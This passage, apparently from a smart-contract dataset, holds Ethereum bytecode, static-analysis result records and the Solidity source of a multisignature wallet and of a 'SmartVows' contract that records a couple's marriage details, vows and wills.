8083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,010 |
0x5957b11e1c49ba92890a155f8fee9028462e17f0
|
pragma solidity ^0.4.11;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="0a797e6f6c6b64246d6f65786d6f4a696564796f6479737924646f7e">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461016a578063173825d91461019c57806320ea8d86146101bd5780632f54bf6e146101d55780633411c81c14610208578063547415251461023e5780637065cb481461026d578063784547a71461028e5780638b51d13f146102b85780639ace38c2146102e0578063a0e67e2b1461039f578063a8abe69a14610406578063b5dc40c31461047d578063b77bf600146104e7578063ba51a6df1461050c578063c01a8c8414610524578063c64274741461053c578063d74f8edd146105b3578063dc8452cd146105d8578063e20056e6146105fd578063ee22610b14610624575b6101685b60003411156101655733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b565b005b341561017557600080fd5b61018060043561063c565b604051600160a060020a03909116815260200160405180910390f35b34156101a757600080fd5b610168600160a060020a036004351661066e565b005b34156101c857600080fd5b61016860043561081f565b005b34156101e057600080fd5b6101f4600160a060020a0360043516610901565b604051901515815260200160405180910390f35b341561021357600080fd5b6101f4600435600160a060020a0360243516610916565b604051901515815260200160405180910390f35b341561024957600080fd5b61025b60043515156024351515610936565b60405190815260200160405180910390f35b341561027857600080fd5b610168600160a060020a03600435166109a5565b005b341561029957600080fd5b6101f4600435610ada565b604051901515815260200160405180910390f35b34156102c357600080fd5b61025b600435610b6e565b60405190815260200160405180910390f35b34156102eb57600080fd5b6102f6600435610bed565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a08301908590801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b50509550505050505060405180910390f35b34156103aa57600080fd5b6103b2610c21565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561041157600080fd5b6103b260043560243560443515156064351515610c8a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561048857600080fd5b6103b2600435610db8565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b34156104f257600080fd5b61025b610f3a565b60405190815260200160405180910390f35b341561051757600080fd5b610168600435610f40565b005b341561052f57600080fd5b610168600435610fce565b005b341561054757600080fd5b61025b60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110c095505050505050565b60405190815260200160405180910390f35b34156105be57600080fd5b61025b6110e0565b60405190815260200160405180910390f35b34156105e357600080fd5b61025b6110e5565b60405190815260200160405180910390f35b341561060857600080fd5b610168600160a060020a03600435811690602435166110eb565b005b341561062f57600080fd5b6101686004356112ac565b005b600380548290811061064a57fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561069057600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107b45782600160a060020a031660038381548110151561070357fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a85760038054600019810190811061074457fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561077357fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107b4565b5b6001909101906106dc565b6003805460001901906107c7908261150a565b5060035460045411156107e0576003546107e090610f40565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084757600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087c57600080fd5b600084815260208190526040902060030154849060ff161561089d57600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561099d57838015610963575060008181526020819052604090206003015460ff16155b806109875750828015610987575060008181526020819052604090206003015460ff165b5b15610994576001820191505b5b60010161093a565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c557600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109ed57600080fd5b81600160a060020a0381161515610a0357600080fd5b6003805490506001016004546032821180610a1d57508181115b80610a26575080155b80610a2f575081155b15610a3957600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a71838261150a565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b665760008481526001602052604081206003805491929184908110610b0857fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b4a576001820191505b600454821415610b5d5760019250610b66565b5b600101610adf565b5b5050919050565b6000805b600354811015610be65760008381526001602052604081206003805491929184908110610b9b57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bdd576001820191505b5b600101610b72565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c2961155e565b6003805480602002602001604051908101604052809291908181526020018280548015610c7f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c61575b505050505090505b90565b610c9261155e565b610c9a61155e565b600080600554604051805910610cad5750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4557858015610cf3575060008181526020819052604090206003015460ff16155b80610d175750848015610d17575060008181526020819052604090206003015460ff165b5b15610d3c5780838381518110610d2a57fe5b60209081029091010152600191909101905b5b600101610cca565b878703604051805910610d555750595b908082528060200260200182016040525b5093508790505b86811015610dac57828181518110610d8157fe5b906020019060200201518489830381518110610d9957fe5b602090810290910101525b600101610d6d565b5b505050949350505050565b610dc061155e565b610dc861155e565b6003546000908190604051805910610ddd5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ec05760008581526001602052604081206003805491929184908110610e2357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb7576003805482908110610e6c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dfa565b81604051805910610ece5750595b908082528060200260200182016040525b509350600090505b81811015610f3157828181518110610efb57fe5b90602001906020020151848281518110610f1157fe5b600160a060020a039092166020928302909101909101525b600101610ee7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f6057600080fd5b600354816032821180610f7257508181115b80610f7b575080155b80610f84575081155b15610f8e57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff657600080fd5b6000828152602081905260409020548290600160a060020a0316151561101b57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104f57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f7856112ac565b5b5b50505b505b5050565b60006110cd84848461140b565b90506110d881610fce565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110d57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113657600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115e57600080fd5b600092505b6003548310156112065784600160a060020a031660038481548110151561118657fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111fa57836003848154811015156111c557fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611206565b5b600190920191611163565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112cd57600080fd5b6112d683610ada565b15610818576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c957827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610818565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561142357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114ae929160200190611582565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115c357805160ff19168380011785556115f0565b828001600101855582156115f0579182015b828111156115f05782518255916020019190600101906115d5565b5b506115fd929150611601565b5090565b610c8791905b808211156115fd5760008155600101611607565b5090565b905600a165627a7a72305820e1021e6dffc5bc00ae153abf54b4f84f7801efdd3afe854a9b7e4a91121aac560029
|
{"success": true, "error": null, "results": {}}
| 4,011 |
0x32Ab7C6dEdbF0553E202B92eF88E9a63dDF6858F
|
pragma solidity ^0.4.17;
//SmartVows Marriage Smart Contract for Partner 1 and Partner 2
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Util{
function Util() public{}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function toString(address x) internal pure returns (string) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
}
contract SmartVows is Ownable, Util {
// Names of marriage partners
string public partner1_name;
string public partner2_name;
// Partners' eth address
address public partner1_address;
address public partner2_address;
// Partners Vows
string public partner1_vows;
string public partner2_vows;
// Marriage Date
string public marriageDate;
//Marital Status
string public maritalStatus;
// Couple Image Hash
string public coupleImageIPFShash;
// Marriage License Image Hash
string public marriageLicenceImageIPFShash;
// prenup Text
string public prenupAgreement;
//Last Will and Testaments
string public partner1_will;
string public partner2_will;
// Partners Signed Marriage Contract
bool public partner1_signed;
bool public partner2_signed;
// Partners Voted to update the prenup
bool public partner1_voted_update_prenup;
bool public partner2_voted_update_prenup;
//Partners Voted to update the marriage status
bool public partner1_voted_update_marriage_status;
bool public partner2_voted_update_marriage_status;
// Did both partners signed the contract
bool public is_signed;
// Officiant
string public officiant;
// Witnesses
string public witnesses;
// Location of marriage
string public location;
Event[] public lifeEvents;
struct Event {
uint date;
string name;
string description;
string mesg;
}
uint public eventcount;
// Declare Life event structure
event LifeEvent(string name, string description, string mesg);
contractEvent[] public contractEvents;
struct contractEvent {
uint ce_date;
string ce_description;
string ce_mesg;
}
uint public contracteventcount;
// Declare Contract event structure
event ContractEvent(string ce_description, string ce_mesg);
function SmartVows(string _partner1, address _partner1_address, string _partner2, address _partner2_address, string _marriageDate, string _maritalStatus, string _officiant, string _witnesses, string _location, string _coupleImageIPFShash, string _marriageLicenceImageIPFShash) public{
partner1_name = _partner1;
partner2_name = _partner2;
partner1_address=_partner1_address;
partner2_address=_partner2_address;
marriageDate =_marriageDate;
maritalStatus = _maritalStatus;
officiant=_officiant;
witnesses=_witnesses;
location=_location;
coupleImageIPFShash = _coupleImageIPFShash;
marriageLicenceImageIPFShash = _marriageLicenceImageIPFShash;
//Record contract creation in events
saveContractEvent("Blockchain marriage smart contract created","Marriage smart contract added to the blockchain");
}
// Add Life event, either partner can update
function addLifeEvent(string name, string description, string mesg) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
saveLifeEvent(name, description, mesg);
}
function saveLifeEvent(string name, string description, string mesg) private {
lifeEvents.push(Event(block.timestamp, name, description, mesg));
LifeEvent(name, description, mesg);
eventcount++;
}
function saveContractEvent(string description, string mesg) private {
contractEvents.push(contractEvent(block.timestamp, description, mesg));
ContractEvent(description, mesg);
contracteventcount++;
}
// Update partner 1 vows only once
function updatePartner1_vows(string _partner1_vows) public {
require((msg.sender == owner || msg.sender == partner1_address) && (bytes(partner1_vows).length == 0));
partner1_vows = _partner1_vows;
}
// Update partner 2 vows only once
function updatePartner2_vows(string _partner2_vows) public {
require((msg.sender == owner || msg.sender == partner2_address) && (bytes(partner2_vows).length == 0));
partner2_vows = _partner2_vows;
}
// Update Marriage status only if both partners have previously voted to update the prenup
function updateMaritalStatus(string _maritalStatus) public {
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_marriage_status == true)&&(partner2_voted_update_marriage_status == true));
saveContractEvent("Marital status updated", strConcat("Marital status changed from ", maritalStatus , " to ", _maritalStatus));
maritalStatus = _maritalStatus;
partner1_voted_update_marriage_status = false;
partner2_voted_update_marriage_status = false;
}
// Partners can sign the contract
function sign() public {
require(msg.sender == partner1_address || msg.sender == partner2_address);
if(msg.sender == partner1_address){
partner1_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 1");
}else {
partner2_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 2");
}
if(partner1_signed && partner2_signed){// if both signed then make the contract as signed
is_signed = true;
}
}
//Function to vote to allow for updating marital status, both partners must vote to allow update
function voteToUpdateMaritalStatus() public {
if(msg.sender == partner1_address){
partner1_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 1 voted to updated Marital Status");
}
if(msg.sender == partner2_address){
partner2_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 2 voted to updated Marital Status");
}
}
//Function to vote to allow for updating prenup, both partners must vote true to allow update
function voteToUpdatePrenup() public {
if(msg.sender == partner1_address){
partner1_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 1 voted to updated Prenuptial Aggreement");
}
if(msg.sender == partner2_address){
partner2_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 2 voted to updated Prenuptial Aggreement");
}
}
// Update coupleImage hash, either partner can update
function updateCoupleImageIPFShash(string _coupleImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
coupleImageIPFShash = _coupleImageIPFShash;
}
// Update marriage licence image hash, either partner can update
function updateMarriageLicenceImageIPFShash(string _marriageLicenceImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
marriageLicenceImageIPFShash = _marriageLicenceImageIPFShash;
}
// Update prenup text, but only if both partners have previously agreed to update the prenup
function updatePrenup(string _prenupAgreement) public{
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_prenup == true)&&(partner2_voted_update_prenup == true));
prenupAgreement = _prenupAgreement;
saveContractEvent("Update - Prenup", "Prenuptial Agreement Updated");
partner1_voted_update_prenup = false;
partner2_voted_update_prenup = false;
}
// Update partner 1 will, only partner 1 can update
function updatePartner1_will(string _partner1_will) public {
require(msg.sender == partner1_address);
partner1_will = _partner1_will;
saveContractEvent("Update - Will", "Partner 1 Will Updated");
}
// Update partner 2 will, only partner 2 can update
function updatePartner2_will(string _partner2_will) public {
require(msg.sender == partner2_address);
partner2_will = _partner2_will;
saveContractEvent("Update - Will", "Partner 2 Will Updated");
}
}
|
